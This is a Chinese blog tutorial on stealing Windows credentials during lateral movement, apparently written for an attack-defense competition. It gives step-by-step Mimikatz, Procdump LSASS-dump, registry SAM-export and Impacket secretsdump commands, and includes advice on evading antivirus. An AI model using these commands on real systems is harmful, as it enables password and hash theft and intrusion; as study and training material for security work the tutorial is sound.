s0m1ng

二进制学习中

内网横向3:凭证窃取与密码抓取

前言:

本篇和上一篇同属于第二部分

0x01 原理简述

宏观类比:凭证窃取如同在攻陷的敌方哨所中,翻找守卫遗落的“钥匙串”。因为企业内网往往存在严重的密码复用或域管理员巡检残留,拿到这串钥匙,即可无需爆破、直接开启内网深处其他大门。

技术定义:在获取跳板机最高权限(SYSTEM 或高权限 Administrator)后,通过读取 Windows 本地安全认证子系统服务(LSASS.exe)的内存空间,或导出安全账户管理器(SAM)注册表文件,提取出用户的明文密码、NTLM Hash 或 Kerberos 票据。

0x02 核心工具准备与使用规范

在断网比赛前,必须提前准备好以下凭证窃取与解析工具。

内存提取神器:Mimikatz (放到靶机Windows 平台执行)

法国黑客编写的极度危险工具,直接读取并解析 Windows 内存凭据。实战中极易被杀软查杀。

获取与准备 (在 Ubuntu 攻击机执行)

1
2
3
4
5
mkdir -p ~/ISW_Workspace/Tools/Lateral/Mimikatz && cd ~/ISW_Workspace/Tools/Lateral/Mimikatz
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
7z x mimikatz_trunk.zip
# 提取出 x64 目录下的 mimikatz.exe 备用

免杀内存转储工具:Procdump (Windows 平台执行)

微软 Sysinternals 官方系统运维工具。带有微软官方数字签名,用于合法导出进程内存。实战中完美绕过绝大多数杀软的内存读取拦截。

获取与准备 (在 Ubuntu 攻击机执行):

1
2
3
4
mkdir -p ~/ISW_Workspace/Tools/Lateral/Procdump && cd ~/ISW_Workspace/Tools/Lateral/Procdump
wget https://download.sysinternals.com/files/Procdump.zip
7z x Procdump.zip
# 提取 procdump64.exe 备用

离线哈希解析库:Impacket (Ubuntu 平台执行)

基于 Python 的网络协议工具包,其中的 secretsdump.py 用于在攻击机本地离线解析提取回来的 SAM 文件或 NTDS.dit 文件。

获取与准备:

1
2
# Ubuntu 通常自带或可通过 pip 安装
sudo apt install python3-impacket -y

0x03 在线抓取标准流:Mimikatz (无杀软环境)

当目标跳板机未部署杀软,或你已成功关闭 Defender 时,直接上传 Mimikatz 执行。

前提条件:当前 Shell 会话必须是 AdministratorSYSTEM,且具备 SeDebugPrivilege 调试特权。

交互式 Shell 执行规范:

mimikatz.exe 上传至靶机 C:\Windows\Temp\ 后,执行以下指令串:

1
C:\Windows\Temp\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > C:\Windows\Temp\mimi.txt
  • 技术解析

    • privilege::debug:向系统申请内存调试特权(必须为 20 OK 才算成功)。

    • sekurlsa::logonpasswords:遍历 LSASS 内存,列出所有已登录会话的凭据。

    • > mimi.txt:将大量终端输出重定向至文本文件,防止在反弹 Shell 中因输出过多导致进程崩溃或假死。

    输出研判:读取 mimi.txt,重点检索 Username (用户名)、Domain (域名/机器名)、Password (明文密码,可能为 null) 以及 NTLM (NTLM Hash 字符串)。

0x04 离线免杀抓取标准流:Procdump + 本地解析 (实战首选)

当目标机器存在杀软(直接秒杀 mimikatz.exe)时,严禁上传 Mimikatz。必须采用“白利用”手法,先用微软合法工具将内存拉回攻击机,再行解析。

Step 1: 靶机端导出 LSASS 内存 (白利用)

procdump64.exe 上传至靶机可写目录,利用 SYSTEM 权限强制导出 lsass.exe 进程的完整内存文件。

1
C:\Windows\Temp\procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
  • 技术解析-accepteula 自动接受最终用户许可协议(防止弹窗阻塞进程);-ma 写入完整的 Dump 文件。

Step 2: 攻击机端回传 Dump 文件

利用靶机上已建立的 WebShell 或反向隧道,将体积庞大(通常 40MB - 100MB)的 lsass.dmp 下载回 Ubuntu 或你本地的 Windows 物理机。

Step 3: 攻击机端离线解析 (Local Mimikatz)

你自己安全可控的 Windows 环境(或通过 Wine 运行于 Ubuntu)中,打开本地的 Mimikatz,加载刚才拖回来的 lsass.dmp 文件。

1
2
3
4
mimikatz.exe
# 进入交互界面后执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
  • 技术解析sekurlsa::minidump 切换 Mimikatz 的读取目标,使其不再读取当前主机的物理内存,而是读取指定的离线内存快照文件。

0x05 注册表离线提取 (SAM Hash 导出)

若跳板机处于工作组环境,且无域账号登录缓存,直接提取本地安全账户管理器 (SAM) 中的 NTLM Hash。

Step 1: 靶机端导出注册表 Hive

依靠 SYSTEM 权限,绕过文件读写锁死,强行备份两个核心配置块:

1
2
reg save HKLM\sam C:\Windows\Temp\sam.save
reg save HKLM\system C:\Windows\Temp\system.save

Step 2: 攻击机端离线解析 (Impacket)

sam.savesystem.save 拖回 Ubuntu,使用 Impacket 解析提取:

1
impacket-secretsdump -sam sam.save -system system.save LOCAL

0x06 本阶段可获得:

执行完本笔记操作后,你必须获取并记录以下核心资产,这是进入第四阶段“横向击杀”的唯一凭证:

  • 域管理员明文密码 (例如:Admin@ISW.local : P@ssw0rd123)

  • 域管理员 NTLM Hash (例如:Administrator : aad3b435b51404eeaad3b435b51404ee:88e4d9faba26515...)

  • 本地高权限用户 NTLM Hash (用于工作组环境下的密码复用喷洒攻击)

您的支持将鼓励我继续创作!

欢迎关注我的其它发布渠道